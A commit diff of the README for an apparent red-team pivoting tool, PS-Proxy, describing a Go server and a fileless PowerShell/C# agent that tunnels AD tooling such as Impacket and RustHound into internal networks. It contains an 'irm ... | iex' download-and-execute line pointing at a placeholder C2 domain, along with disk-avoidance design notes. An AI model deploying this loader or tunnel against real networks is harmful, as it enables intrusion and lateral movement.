Revise README for implementation details and build steps

Updated README to reflect current implementation status and build instructions for Go server and PowerShell agent.
This commit is contained in:
Harrison-Wells-Cyber
2026-07-22 10:03:23 -07:00
committed by GitHub
parent b715b56040
commit 0eb3653b3d
+94 -45
View File
@@ -6,16 +6,15 @@ operation for TCP-heavy AD tooling such as Impacket, NetExec, RustHound,
`ldapsearch`, and TCP-connect `nmap`, without proxychains and without requiring
administrator privileges on the Windows agent host.
> Current repository status: this tree is the new implementation foundation. It
> replaces the previous Python/SOCKS/TUN prototype with a Go server skeleton,
> one-time enrollment staging, and a diskless PowerShell/C# agent packaging
> model. The full TUN/netstack data plane is the next implementation milestone.
> Current implementation status: the repo now has a working encrypted enrollment
> flow, a framed multiplexed TCP stream protocol, a diskless PowerShell/C# agent
> packaging flow, and a developer TCP relay for end-to-end protocol testing. The
> full production TUN/netstack data plane is still the next major milestone.
## Design decisions
- **Server:** Go, intended to run as root on Linux.
- **Data plane:** true TUN/netstack design, not proxychains and not a Python
hand-written TCP shim.
- **Data plane:** Linux transparent TCP redirect mode is implemented now for test-environment use: local tools connect directly to routed target IPs, iptables redirects matching TCP connections to the server, and the server relays the original destination through the enrolled agent. A true TUN/netstack backend remains the long-term production direction.
- **Agent:** Windows PowerShell 5.1 loader with a precompiled C# core embedded
into a single `.ps1`.
- **Agent delivery:** one command, one file, no separate DLL transfer:
@@ -24,9 +23,9 @@ administrator privileges on the Windows agent host.
- **Enrollment:** the server creates a short-lived one-time staging URL. The
generated agent script contains an enrollment token rather than a long-term
PSK.
- **TLS:** server certificate pinning remains mandatory for the agent. The
loader and C# core are designed so the agent refuses to enroll unless the
presented server certificate matches the pinned SHA-256 DER hash.
- **TLS:** server certificate pinning is mandatory for the agent. The C# core
refuses to continue unless the presented server certificate matches the pinned
SHA-256 DER hash.
- **Disk behavior:** release agents do not use `Add-Type`, do not invoke
`csc.exe` on the target, and do not intentionally write the managed agent DLL
to disk. The embedded DLL is loaded with
@@ -36,6 +35,7 @@ administrator privileges on the Windows agent host.
```text
cmd/psproxy-server/ Go server entrypoint
internal/protocol/ framed tunnel protocol helpers and tests
internal/staging/ one-time agent staging/enrollment helpers
agent/PSProxy.Agent/ PowerShell 5.1-compatible C# agent core source
agent/loader/agent.ps1.tmpl single-file PowerShell loader template
@@ -49,41 +49,62 @@ agent location. Packaged releases should replace `release/agent.ps1` with a
ready-to-run generated file so an operator can download and run without doing
manual packaging.
## Build the Go server
## Build the Go server on Linux
From the repo root:
```bash
go build ./cmd/psproxy-server
go test ./...
go build -o psproxy-server ./cmd/psproxy-server
```
## Build the single-file PowerShell agent
The build produces `./psproxy-server`.
The first target is Windows PowerShell 5.1, so the release agent is built on a
Windows machine using the .NET Framework C# compiler:
## Build the single-file PowerShell 5.1 release agent
The first supported target is Windows PowerShell 5.1, so build the release agent
on a Windows machine with the .NET Framework compiler available.
Open Windows PowerShell from the repo root and run:
```powershell
powershell -ExecutionPolicy Bypass -File tools/build-agent.ps1
powershell -ExecutionPolicy Bypass -File tools\build-agent.ps1
```
That command compiles `agent/PSProxy.Agent/PSProxy.Agent.cs`, compresses the DLL,
base64-embeds it into `agent/loader/agent.ps1.tmpl`, and writes
`release/agent.ps1`.
That script:
1. Compiles `agent\PSProxy.Agent\PSProxy.Agent.cs` with the .NET Framework C#
compiler.
2. Compresses the compiled `PSProxy.Agent.dll`.
3. Base64-embeds the compressed DLL into `agent\loader\agent.ps1.tmpl`.
4. Writes the single-file release loader to `release\agent.ps1`.
5. Writes `release\agent_assembly.b64`, which the Go server uses by default to render one-time staged agents.
The Windows target still receives only one PowerShell script. The build step is
for the release maintainer, not the operator running the agent.
for the release maintainer, not the operator running the agent. Keep
`release\agent_assembly.b64` next to the server working directory, or pass it
explicitly with `--agent-assembly-b64-file`.
## Operator flow goal
## Start the server with transparent TCP routing
Start the server on the Ubuntu/VPS side:
Use a real certificate whose leaf DER hash will be pinned by the agent. On the
Linux server, run as root so PS-Proxy can install and remove iptables NAT rules:
```bash
sudo ./psproxy-server \
--domain c2.example.com \
--cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \
--key /etc/letsencrypt/live/c2.example.com/privkey.pem \
--tun psproxy0 \
--route 10.10.10.0/24
--route 10.10.10.0/24 \
--redirect
```
With `--redirect`, PS-Proxy creates an iptables NAT chain for each `--route` and
redirects matching local TCP connects into a loopback listener. The server reads
the original destination with `SO_ORIGINAL_DST`, sends that host:port through the
encrypted tunnel, and the Windows agent opens the target with a normal outbound
`TcpClient` from its network position.
The server prints a one-time command:
```powershell
@@ -91,45 +112,73 @@ irm https://c2.example.com/a/<one-time-id> | iex
```
The generated script auto-starts, loads the embedded C# core in memory, validates
the pinned server certificate, and enrolls with the one-time token. Long-term
static PSKs are intentionally avoided in the new design.
the pinned server certificate, enrolls with the one-time token, and switches to
the framed tunnel protocol.
## Current implementation status
## Optional fixed-target developer TCP relay
Implemented now:
For controlled protocol testing without iptables redirects, use the fixed-target
TCP relay. Example:
- Go server build skeleton.
- TLS listener using operator-supplied certificate and key.
- Leaf certificate pin calculation for the generated agent configuration.
- Short-lived one-time staging URLs.
- One-time enrollment token validation endpoint.
- PowerShell loader template that loads a compressed/base64 managed assembly from
memory.
- Windows build script to package the C# core into `release/agent.ps1`.
- C# agent core scaffold with certificate pin validation and enrollment request.
```bash
sudo ./psproxy-server \
--domain c2.example.com \
--cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \
--key /etc/letsencrypt/live/c2.example.com/privkey.pem \
--route 10.10.10.0/24 \
--tcp-listen 127.0.0.1:1389 \
--tcp-target 10.10.10.219:389
```
Next milestone:
Then run the printed one-liner on the Windows host. After the agent connects,
test from the Linux server:
- Replace the scaffold enrollment-only path with the full multiplexed tunnel
protocol.
- Add the Go TUN/netstack data plane.
- Add route setup/cleanup and `doctor` checks.
- Add integration tests for LDAP/RustHound-scale long-running TCP streams.
```bash
nc -vz 127.0.0.1 1389
ldapsearch -x -H ldap://127.0.0.1:1389 -D 'user@example.local' -W -b 'DC=example,DC=local' '(objectClass=domain)'
```
Transparent redirect mode is the recommended test-environment workflow right now.
The fixed-target relay remains useful when you want a single local port mapped to
a single target for debugging.
## Security notes
- Use HTTPS staging. Plain HTTP `irm | iex` is mechanically possible, but it is
not acceptable for sensitive environments because staging tampering means code
execution on the Windows host.
- The agent's tunnel connection must pin the server certificate. Certificate pin
mismatch is fatal.
- Enrollment URLs should be short-lived and one-time use.
- The agent pins the server certificate before enrollment or tunnel traffic.
Certificate pin mismatch is fatal.
- Enrollment URLs are short-lived and one-time use.
- The enrollment token is placed in the HTTPS response body, not in the URL.
- Do not log generated agent bodies or enrollment tokens.
- The loader avoids intentional target-side file writes for the managed payload,
but host telemetry, PowerShell logging, AMSI, EDR, crash dumps, or pagefile
behavior are outside the loader's control.
## Current implementation status
Implemented now:
- Go TLS listener with mixed HTTP staging and raw agent tunnel handling.
- Leaf certificate pin calculation for generated agent configuration.
- Short-lived one-time staging URLs.
- One-time enrollment token validation for the raw tunnel.
- Framed multiplexed stream protocol.
- Linux transparent TCP redirect mode for direct local-tool TCP connections to routed target IPs.
- Fixed-target TCP relay mode for protocol validation.
- C# agent stream relay that opens normal outbound `TcpClient` connections from
the Windows host.
- PowerShell loader template that loads a compressed/base64 managed assembly from
memory.
- Windows build script to package the C# core into `release/agent.ps1`.
Next milestone:
- Replace the Linux transparent redirect backend with a true production Go TUN/netstack data plane.
- Add route setup/cleanup and `doctor` checks.
- Add integration tests for LDAP/RustHound-scale long-running TCP streams.
## Testing direction
Before this project should be trusted for real assessments, it needs a lab test